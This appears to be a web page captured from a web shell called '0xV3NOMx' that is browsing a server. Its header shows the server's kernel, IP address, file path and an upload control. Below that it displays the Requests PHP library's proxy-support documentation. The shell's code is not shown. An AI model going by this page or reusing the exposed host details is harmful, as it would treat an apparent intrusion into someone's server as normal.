0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.188.75


Current Path : /var/www/student/gfgcg/razorpay/razorpay-php/libs/Requests-1.6.1/docs/
Upload File :
Current File : /var/www/student/gfgcg/razorpay/razorpay-php/libs/Requests-1.6.1/docs/proxy.md

Proxy Support
=============

You can easily make requests through HTTP proxies.

To make requests through an open proxy, specify the following options:

```php
$options = array(
	'proxy' => '127.0.0.1:3128'
);
Requests::get('http://httpbin.org/ip', array(), $options);
```

If your proxy needs you to authenticate, the option will become an array like
the following:

```php
$options = array(
	'proxy' => array( '127.0.0.1:3128', 'my_username', 'my_password' )
);
Requests::get('http://httpbin.org/ip', array(), $options);
```